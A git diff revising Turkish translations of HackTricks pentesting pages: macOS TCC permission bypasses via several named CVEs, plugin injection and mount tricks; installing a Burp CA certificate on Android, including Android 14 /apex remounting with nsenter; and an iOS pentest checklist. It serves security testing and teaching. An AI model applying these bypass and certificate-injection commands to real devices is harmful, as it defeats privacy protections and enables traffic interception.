+Bu nedenle, kullanıcı, TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermek için kandırabilecek şekilde **farklı bir klasöre işaret eden $HOME çevresel değişkeniyle TCC'yi yeniden başlatmayı başarırsa**, yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC izni vermek için kandırabilir.
{% hint style="success" %}
-Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$HOME`** değerini belirlemek için kullanıcının profilindeki ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlaştırabilirsiniz**.
+Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren izinlere sahip bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlandırabilirsiniz**.
{% endhint %}
### [CVE-2020–9934 - TCC](./#c19b)
@@ -262,31 +262,31 @@ Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$
5. Kullanıcının _tccd_'sini durdurun ve işlemi yeniden başlatın.
**İkinci POC**, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`**'yi kullanıyordu.\
-Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırabilirse, özel bir **Yükleme Paketi belirleyebilir**. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirir.
+Saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırarak özel bir **Bağlayıcı yüklemesi** belirleyebilirdi. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştiriyordu.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın.
## İşlem enjeksiyonu ile
-Bir işleme kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
+Bir işlem içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
-Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentileri (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\
-Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kod da buna sahip olacaktır**.
+Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentiler (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\
+Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kodun da olacaktır**.
### CVE-2020-27937 - Directory Utility
-Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentiler yüklüydü ve **sertleştirilmiş** çalışma zamanına sahip değildi.
+Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentileri yüklüyordu ve **sertleştirilmiş** çalışma zamanına sahip değildi.
-Bu CVE'yi silahlaştırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek için **değiştirilir**.
+Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** (önceki yetkiyi kötüye kullanarak) **değiştirildi**, böylece TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek mümkün hale geldi.
Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın.
### CVE-2020-29621 - Coreaudiod
-**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık **TCC'yi yönetme erişimi sağlıyordu**.
+**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık ise **TCC'yi yönetme erişimi sağlıyordu**.
Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Bu nedenle, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**:
```objectivec
@@ -357,13 +357,13 @@ Daha fazla bilgi için bu [**orijinal raporu kontrol edin**](https://wojciechreg
### CVE-2020-10006
-`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da işlem içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.
+`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da süreç içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.
### CVE-2023-26818 - Telegram
-Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
+Telegram'ın **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere erişmek mümkündü. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
-Ortam değişkenini kullanmak için bir kütüphane yüklemek için bir **özel plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı:
+Ortam değişkenini kullanmak için bir kütüphane yüklemek için **özel bir plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı:
```xml
@@ -399,7 +399,7 @@ Kumlanmışken bile **`open`** çağrısı yapmak mümkündür.
### Terminal Betikleri
-Terminal **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle kullanmak mümkündür.
+Terminal'e **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle çağırmak mümkündür.
**`.terminal`** betikleri, **`CommandString`** anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır:
```xml
@@ -430,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
-## Montaj Yoluyla
+## Bağlama Yoluyla
### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme
-**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\
-Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık** (`kTCCServiceSystemPolicyAllfiles`) bir yönetici tarafından verilmelidir.
+**Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve bağlayabilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\
+Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık**, bunun bir yönetici tarafından verilmesi gereken (`kTCCServiceSystemPolicyAllfiles`) ayrıcalıktır.
{% code overflow="wrap" %}
```bash
@@ -461,7 +461,7 @@ ls /tmp/snap/Users/admin_user # This will work
Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
-### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount
+### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount işlemi
TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine mount etmek** mümkündü:
```bash
@@ -493,7 +493,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
### Konum Hizmetleri
**`/var/db/locationd/clients.plist`** içinde üçüncü bir TCC veritabanı bulunur ve burada **konum hizmetlerine erişime izin verilen istemciler** belirtilir.\
-**`/var/db/locationd/` klasörü DMG bağlama korumasından yoksundu** bu yüzden kendi plist'imizi bağlamak mümkündü.
+**`/var/db/locationd/` klasörü DMG bağlama koruması olmadığından** kendi plist'imizi bağlamak mümkündü.
## Başlangıç uygulamalarıyla
@@ -503,7 +503,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## Grep ile
-Çeşitli durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zayıflık olarak kabul edilir).
+Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklarlar (bu da Apple için bir zayıflık olarak kabul edilir).
@@ -511,11 +511,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Bu artık çalışmıyor, ancak [**geçmişte çalışıyordu**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
-
+
Başka bir yol [**CoreGraphics olayları kullanarak**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
-
+
## Referans
diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index b5984a466..432238032 100644
--- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -2,11 +2,11 @@
-Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan ileri seviye AWS hackleme becerilerini öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
@@ -20,7 +20,7 @@ HackTricks'ı desteklemenin diğer yolları:
![](<../../.gitbook/assets/image (367).png>)
-Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim**. **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.**\
+**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerekmektedir.**\
Örneğin şu şekilde çalıştırabilirsiniz:
{% code overflow="wrap" %}
@@ -52,31 +52,31 @@ Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dos
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir:
-1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
+1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza sürükleyip bırakın, böylece İndirilenler klasöründe saklanır ve `Sertifika yükle` -> `CA sertifikası`'na gidin
-
+
-* Sertifikanın doğru bir şekilde kaydedildiğinden emin olmak için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
+* Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI`'ya gidin
-
+
-2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, **`Modüller`** bölümüne tıklayın, **`Depodan yükle`**'yi seçin, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
+2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza sürükleyip bırakın, telefonda **Magics uygulamasına** gidin, **`Modüller`** bölümüne gidin, **`Depodan yükle`**'yi tıklayın, `.zip` modülünü seçin ve kurulum tamamlandıktan sonra telefonu **yeniden başlatın**:
-
+
-* Yeniden başlattıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
+* Yeniden başlatıldıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
-
+
## Android 14 Sonrası
-En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak **taşınmıştır**, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
+En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak değiştirilmiştir, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
-**APEX cacerts yolunu** yazılabilir hale getirmek için yapılan denemeler başarısızlıkla karşılanır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerindeki **PRIVATE** yayılma kaldırılmaya çalışılsa bile, bu değişikliklerin etkisiz olduğu görülür; uygulamalar, dosya sistemi seviyesindeki değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının **PRIVATE** yayılma ile yapılandırılmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
+**APEX cacerts yolunu** yazılabilir hale getirmeye yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanmaktadır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
-Android'in başlatılması, işletim sistemini başlatan `init` işlemiyle başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder.
+Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle başlar. Bu işlem, yeni bir bağlama ad alanı içeren Zygote işlemini başlatarak uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder.
-Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle **yeniden bağlama** işlemiyle **PRIVATE** yayılmayı kaldırarak yazılabilir hale getirmeyi içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
+Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i özel yayılmasını kaldırarak yazılabilir hale getirmek için manuel olarak yeniden bağlamayı içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -140,14 +140,14 @@ echo "System certificate injected"
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır.
-3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
+2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanması önemlidir.
+3. **Zygote İçin Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar.
-4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağ montajı gerçekleştirilir. Gerekli komut şudur:
+4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağlama işlemi gerçekleştirilir. Gerekli komut şudur:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md
index 33ab9f3b5..c2ba5cd43 100644
--- a/mobile-pentesting/ios-pentesting-checklist.md
+++ b/mobile-pentesting/ios-pentesting-checklist.md
@@ -1,30 +1,30 @@
# iOS Pentesting Checklist
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan Kahramana AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f)** veya [telegram grubumuza](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
@@ -33,7 +33,7 @@ HackTricks'ı desteklemenin diğer yolları:
### Hazırlık
* [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun
-* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayın
+* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayarak ortamınızı hazırlayın
* [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun
### Veri Depolama
@@ -48,7 +48,7 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir
* [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir
* [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır.
-* [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri **kontrol edin**
+* [ ] Özetle, sadece **uygulama tarafından dosya sistemine kaydedilen hassas bilgileri kontrol edin**
### Klavyeler
@@ -59,19 +59,19 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin
-### Yedeklemeler
+### Yedekler
-* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek** için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
-* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyerek** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliğin atlatılabileceği** kontrol edilebilir
+* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
+* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) **işlevselliği** atlanabilir
### **Uygulamaların Belleği**
-* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin
+* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin
### **Kırık Şifreleme**
-* [ ] **Şifreleme için kullanılan şifreleri** (ios-pentesting/#broken-cryptography) bulabilir misiniz kontrol edin
-* [ ] Hassas verileri göndermek/depolamak için **eskimiş/zayıf algoritmaların** kullanılıp kullanılmadığını kontrol edin
+* [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz?
+* [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography)
### **Yerel Kimlik Doğrulama**
@@ -80,30 +80,30 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir
* [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz
-### IPC Aracılığıyla Hassas İşlevlerin Açığa Çıkması
+### IPC Aracılığıyla Hassas İşlevsellik Maruz Kalma
* [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin
* [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin
* [ ] Uygulamanın özel şemadan gelen hassas bilgileri almayı beklediğini kontrol edin ve aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek** hassas bilgileri almayı beklediğini kontrol edin
-* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
-* Uygulamanın özel şema aracılığıyla **herhangi bir hassas işlevi açığa çıkardığını** kontrol edin
+* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
+* Uygulamanın herhangi bir yerden özel şema aracılığıyla çağrılabilen **hassas bir işlevsellik açığa çıkardığını** kontrol edin
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin
* `apple-app-site-association` dosyasını kontrol edin
-* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** kontrol edin ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
-* Uygulamanın özel şema aracılığıyla **herhangi bir hassas işlevi açığa çıkardığını** kontrol edin
+* Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
